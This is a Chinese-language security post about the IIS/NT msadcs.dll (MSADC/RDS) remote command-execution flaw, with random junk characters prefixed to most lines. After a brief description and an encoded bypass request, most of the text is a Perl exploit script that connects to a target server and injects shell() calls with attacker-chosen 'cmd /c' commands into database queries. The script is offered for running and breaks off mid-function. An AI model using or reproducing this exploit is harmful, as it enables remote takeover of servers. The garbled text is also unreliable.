IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
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VN1^ ;X , A|m$( 涉及程序:
8MU+i%hd Microsoft NT server
I;FHjnn( EV/DJ$C } 描述:
)\Am:?RH; 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
B 1jeIk, -%,=%FBi~4 详细:
yw\Q>~$n[= 如果你没有时间读详细内容的话,就删除:
{OIB/ c:\Program Files\Common Files\System\Msadc\msadcs.dll
=bgWUu\F 有关的安全问题就没有了。
.~u[rc|< W[/Txc0$ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
qz95) 0~4Ww=# 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
E6XDn`: 关于利用ODBC远程漏洞的描述,请参看:
\xG_q>1_ LGB}:;$AL http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm c^3,e/H -!q^/ux 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
- ({h @ http://www.microsoft.com/security/bulletins/MS99-025faq.asp !y+uQ_IS@ x n?$@ 这里不再论述。
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$p8J MQ#k`b#() 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
2)hfYLi Y O&@ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
]n}aePl}oU 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
SP.k]@P 0RgE~x!hI :er(YWF: #将下面这段保存为txt文件,然后: "perl -x 文件名"
F%P"T%| $7" Y/9Y #!perl
0nbY~j$A= #
(@m/j2z # MSADC/RDS 'usage' (aka exploit) script
H-\Ym}BGu #
-^+fZBU; # by rain.forest.puppy
^hNl6)hR #
8yk7d76Y # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
1_WP\@O # beta test and find errors!
{8>g?4Q# _iu~vU)r use Socket; use Getopt::Std;
F42<9)I getopts("e:vd:h:XR", \%args);
CFC15/yU zzK<>@c print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
F/ x2}' t W+"/<U if (!defined $args{h} && !defined $args{R}) {
h+=IxF4 print qq~
eSQkW Usage: msadc.pl -h <host> { -d <delay> -X -v }
d~ +(g! -h <host> = host you want to scan (ip or domain)
_B>'07D0 -d <seconds> = delay between calls, default 1 second
^"<x4e9+j -X = dump Index Server path table, if available
'Lq+ONX5 -v = verbose
& .0A% -e = external dictionary file for step 5
{0~\ T[qm 4sRM"w; Or a -R will resume a command session
fV@[S z%S$~^=b ~; exit;}
zOd*> HjIIhl?UY $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
vJxEF&X if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
w?>f:2(=[ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
~| b\1SR if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
C$q};7b1N $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
3~{I/ft if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
2xf#@`U ?a#Gn2 if (!defined $args{R}){ $ret = &has_msadc;
Z#.1p'3qm1 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
,Kl:4 Tv <rtKPlb// print "Please type the NT commandline you want to run (cmd /c assumed):\n"
/jNvHo^B . "cmd /c ";
tL3R<' $in=<STDIN>; chomp $in;
E*O($tS $command="cmd /c " . $in ;
`6)(Fk--" )X-'Q - if (defined $args{R}) {&load; exit;}
+j{(NwsX TG[u3Y4 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
-'Ay(h &try_btcustmr;
rRg,{:;A D'<L6w` print "\nStep 2: Trying to make our own DSN...";
R\|,GZ!`+ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
1~t.2eU G ]XU4nNi print "\nStep 3: Trying known DSNs...";
HdN5zl,q &known_dsn;
|Fe[RGi+8 >ei~:z]R print "\nStep 4: Trying known .mdbs...";
>MJ#|vO &known_mdb;
E447'aJ +q'\rpt if (defined $args{e}){
?h6|N%U' print "\nStep 5: Trying dictionary of DSN names...";
vof8bQ{& &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
23P&n(. +l^tT&s;f print "Sorry Charley...maybe next time?\n";
5CZyA`3V^5 exit;
]Cj@",/3# ;Ax-f04gG ##############################################################################
\o}T0YX Asv]2> x sub sendraw { # ripped and modded from whisker
XHekz6_ sleep($delay); # it's a DoS on the server! At least on mine...
sEFQ8S my ($pstr)=@_;
)i}j\";>L socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
OL>)SJj5 die("Socket problems\n");
H.\`(`6 if(connect(S,pack "SnA4x8",2,80,$target)){
T[ZmD{6l select(S); $|=1;
N]w_9p~=1 print $pstr; my @in=<S>;
O`c+y select(STDOUT); close(S);
RI@\cJ\} return @in;
T/\RViG3 } else { die("Can't connect...\n"); }}
y QClq{A x>}ml\R ##############################################################################
=nHKTB> iP0m1 sub make_header { # make the HTTP request
N2O *g`YC my $msadc=<<EOT
r5DRF4,7 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
V_:`K$ User-Agent: ACTIVEDATA
HD^#" Host: $ip
U3X5tED Content-Length: $clen
EW|$qLg Connection: Keep-Alive
ao2^3e nS04Ha
ADCClientVersion:01.06
.26mB
Xr Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
K f/[Edn ~.aR=m\#
--!ADM!ROX!YOUR!WORLD!
W}f)VC;D Content-Type: application/x-varg
nd]SI;< Content-Length: $reqlen
(da`aRVDp =SXdO)%2 EOT
F%h3?"s ; $msadc=~s/\n/\r\n/g;
8@;]@c)m return $msadc;}
zMR)w77 q2*A'C ##############################################################################
-NXxxK !HvA5'|:} sub make_req { # make the RDS request
eAf i!!Z< my ($switch, $p1, $p2)=@_;
|tGUx*NN my $req=""; my $t1, $t2, $query, $dsn;
6N#hN)/ =0pt-FQ if ($switch==1){ # this is the btcustmr.mdb query
<Z]#vrq $query="Select * from Customers where City=" . make_shell();
Z^_qXerjP $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
!?nbB2, $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
)O]6dd zY*9M3(X elsif ($switch==2){ # this is general make table query
Qs elW] $query="create table AZZ (B int, C varchar(10))";
uZC=]Ieh $dsn="$p1";}
UDHWl_%L cD0rU8x elsif ($switch==3){ # this is general exploit table query
XVqOiv) $query="select * from AZZ where C=" . make_shell();
:~otzI4%! $dsn="$p1";}
KLyRb0V @|\9<S elsif ($switch==4){ # attempt to hork file info from index server
R9U{r.AA $query="select path from scope()";
#7i*Diqf9 $dsn="Provider=MSIDXS;";}
J,F1Xmr4 p?i.<Z elsif ($switch==5){ # bad query
wM+1/[7 $query="select";
^.6[vmmq $dsn="$p1";}
JM3[
yNSN@ <0})%V?- $t1= make_unicode($query);
X:oOp=y]| $t2= make_unicode($dsn);
`}EnY@*h $req = "\x02\x00\x03\x00";
~[HzGm% $req.= "\x08\x00" . pack ("S1", length($t1));
CRK%^3g $req.= "\x00\x00" . $t1 ;
;Z]Wj9iY $req.= "\x08\x00" . pack ("S1", length($t2));
w"v!+~/9 $req.= "\x00\x00" . $t2 ;
r{;NGQYs $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
BS9VwG<Z return $req;}
w\)K0RN 3YHEH\60^ ##############################################################################
h3o'T=`Sm +>"s)R43 sub make_shell { # this makes the shell() statement
1,-C*T}nR return "'|shell(\"$command\")|'";}
XwY,xg&o N&HI)X2& ##############################################################################
AELj"=RA "+(|]q"W sub make_unicode { # quick little function to convert to unicode
*'>_XX my ($in)=@_; my $out;
iFd
!ED for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
n 9B5D:.G return $out;}
fpR|+`k PVI Oe}N ##############################################################################
/65YHXg, |J-X3`^\H sub rdo_success { # checks for RDO return success (this is kludge)
WC#6(H5t$ my (@in) = @_; my $base=content_start(@in);
EhxpMTS if($in[$base]=~/multipart\/mixed/){
}u_D{ bz return 1 if( $in[$base+10]=~/^\x09\x00/ );}
1Gsh%0r3 return 0;}
/eV)5`V IRN,= ##############################################################################
k+J%o%* < P([!psgu sub make_dsn { # this makes a DSN for us
], lLDUZ\ my @drives=("c","d","e","f");
C%z)D1- print "\nMaking DSN: ";
#`VAw ) eV foreach $drive (@drives) {
MTu\T print "$drive: ";
2:38CdkYp my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
'(.5!7?Qc "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
^Hx}.?1 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
ZSuoD$~k[ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
^&qK\m_A return 0 if $2 eq "404"; # not found/doesn't exist
,b*?7R if($2 eq "200") {
ciblj?"Wi foreach $line (@results) {
\u,CixV= return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
!D=! } return 0;}
8 0tA5AP 2FMmANH0ev ##############################################################################
+F)EGB%LXs 7m2iL#5[ sub verify_exists {
1#vu)a1+b my ($page)=@_;
287j,'vR my @results=sendraw("GET $page HTTP/1.0\n\n");
QTHY{:Rmu return $results[0];}
t\M6 d6 3Bl|~K;- ##############################################################################
UD-+BUV |{#St-!-7 sub try_btcustmr {
QLJ\> my @drives=("c","d","e","f");
`=(<!nXJx my @dirs=("winnt","winnt35","winnt351","win","windows");
C
m:AU; Gdow[x foreach $dir (@dirs) {
c8&3IzZ print "$dir -> "; # fun status so you can see progress
W`[VLi}fe foreach $drive (@drives) {
`i`P}W!F print "$drive: "; # ditto
_}F&^ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
*j3U+HV $reqlenlen=length( "$reqlen" );
@NM0ILE $clen= 206 + $reqlenlen + $reqlen;
Y2L{oQ.C2 \l/(L5gY my @results=sendraw(make_header() . make_req(1,$drive,$dir));
d:'{h"M6 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
JN8Rh else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
tj;47UtH y4kn2Mw; ##############################################################################
& DP"RWT/ TCp9C1Q4 sub odbc_error {
<Y`(J# my (@in)=@_; my $base;
=F\Xt " my $base = content_start(@in);
TzKM~a# if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
&& ]ix3 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
HM% +Y47a $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
U^_\V BAk $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
%Xc,l Y1? return $in[$base+4].$in[$base+5].$in[$base+6];}
:W)lt28_ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
I bD
u+~) print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
tR!C8:u $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
"]eB2k_> kXL0 ##############################################################################
U6-47m0% cxR.:LD} sub verbose {
XJo.^<m my ($in)=@_;
KpGx<+0p return if !$verbose;
#ft9ms#N print STDOUT "\n$in\n";}
Qb
{[xmc o33t~@ RX ##############################################################################
@fA{;@N CbZ;gjgY* sub save {
|eRE'Wd0 my ($p1, $p2, $p3, $p4)=@_;
&k'<